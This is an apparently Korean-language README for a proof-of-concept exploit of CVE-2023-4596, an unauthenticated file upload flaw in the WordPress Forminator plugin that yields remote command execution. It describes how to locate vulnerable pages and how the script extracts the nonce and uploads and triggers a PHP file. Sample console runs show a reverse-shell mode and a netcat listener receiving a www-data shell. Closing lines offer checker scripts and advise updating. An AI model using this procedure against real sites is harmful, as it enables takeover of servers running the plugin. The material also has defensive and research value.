
PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.
CVE-2023-4596에 대한 PoC 스크립트, 임의 파일 업로드를 통한 인증되지 않은 원격 명령 실행.
사용 중인 PoC 영상
Nuclei 템플릿
뉴스 기사
WordFence
NVD Nist
WordPress 플러그인 Forminator에서 심각한 취약점이 발견되었으며, 이 취약점은 인증되지 않은 공격자가 서버에 임의의 파일을 업로드할 수 있게 합니다. 초기 개념 증명(PoC)이 제대로 작성되지 않았고, 원래 연구원은 설명되지 않은 코드가 포함된 요청과 함께 몇 가지 불명확한 스크린샷을 공유했습니다. 그래서 저는 이 과정을 단순화하고 자동화하기 위해 파이썬 스크립트를 작성했습니다.
이 취약점은 파일 유형 검증 과정의 오류로 인해 발생합니다. PHP와 같은 금지된 파일 형식을 업로드하려고 하면 '업로드된 파일의 확장자가 허용되지 않습니다'라는 경고가 생성됩니다. 이 알림에도 불구하고 업로드된 파일은 차단되지 않고 오히려 성공적으로 업로드되어 사이트의 '/wp-content/uploads' 폴더 내에서 접근할 수 있습니다. 이 취약점은 원격 코드 실행으로 이어질 수 있습니다.
Forminator는 현재 400,000개 이상의 사이트에서 활성화되어 있으며, 취약점의 단순성 덕분에 파일 업로드가 활성화된 Forminator를 실행하는 모든 사이트를 손쉽게 제어할 수 있습니다.
페이지에 업로드 기능이 있는 Forminator <= 1.24.6을 실행하는 페이지를 찾으세요. Forminator를 사용하여 파일 업로드 postdata를 실행하는 페이지의 전체 URL을 복사하세요. 도메인만 지정하면 오류가 발생합니다. interactsh 또는 Burp Collaborator를 사용하여 링크를 생성하고, 선택한 필드에 붙여넣을 수 있습니다. 업로드가 성공하면 5초 이내에 interactsh 또는 Burp에 요청이 나타나며 취약함을 나타냅니다.
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
이 스크립트는 Forminator를 사용하여 파일 업로드가 활성화된 페이지의 전체 URL과 인스턴스가 취약한지 확인하기 위한 interactsh 링크만 필요로 합니다. 첫 번째 요청은 페이지로 전송되어 페이지마다 다른 값인 forminator_nonce와 form_id를 추출합니다. 이 값들을 검색한 후, 추출된 값을 사용하는 두 번째 요청이 전송되고 PHP 파일이 업로드됩니다. 이 PHP 파일은 사용자가 이전에 제공한 interactsh 링크를 사용하여 스크립트에 추가합니다. PHP 스크립트가 있는 페이지를 방문하면 interactsh에 요청이 나타나 사이트가 취약함을 보여줍니다. 정규식(Regex)은 URL을 요청에서 나중에 사용할 부분으로 분할하는 데 사용되며, -v 인수를 사용할 때 출력되는 Forminator 버전을 결정하는 데도 사용됩니다. 파일이 업로드되는 위치는 파일을 업로드하는 연도와 월에 따라 달라집니다. 그래서 현재 월과 연도를 확인하기 위해 datetime을 사용했으며, 이는 업로드된 파일 위치로 요청을 보낼 때도 나중에 사용됩니다. 취약점을 테스트할 때 단일 파일 이름을 사용했지만, 여러 파일을 보낸 후 첫 번째 업로드 파일만 시작된다는 것을 알게 되었습니다. 이를 해결하기 위해 각 요청마다 임의의 문자열을 사용합니다.
[-] forminator_nonce를 추출할 수 없음
이 익스플로잇은 Forminator로 파일 업로드가 활성화된 정확한 페이지의 링크가 제공된 경우에만 작동합니다. 도메인만 제공되거나 파일 업로드가 실행되지 않는 페이지의 링크가 제공되면 오류가 발생합니다. 이는 제공된 URL에서 forminator_nonce를 추출하는데, 이 페이지가 Forminator 또는 Forminator 파일 업로드를 실행하지 않으면 값을 찾을 수 없어 사용할 수 없기 때문입니다. 사이트의 소스 코드에서 "forminator-field-post-image-postdata" 문자열을 찾아 확인할 수도 있습니다. 전체 링크의 예는 다음과 같습니다: http://127.0.0.1:8000/?p=7. 전체 문제는 여기에서 확인할 수 있습니다.
저장소에 checker.sh와 checker.bat 두 파일을 포함시켰습니다. 이 파일들은 현재 폴더와 하위 폴더에서 차단된 확장자를 가진 파일을 확인합니다. 발견되면 표시됩니다. 이 스크립트의 이유는 플러그인이 설치된 매월마다 새 폴더가 생성되므로, 수동으로 모두 확인하는 데 많은 작업이 필요할 수 있기 때문입니다.
최신 버전으로 업데이트하세요.
http://127.0.0.1:8000로 이동제공된 스크립트는 교육 목적으로만 제공되며, 귀하의 행동에 대해 책임을 지지 않습니다.
트위터
제작: Finn van der Knaap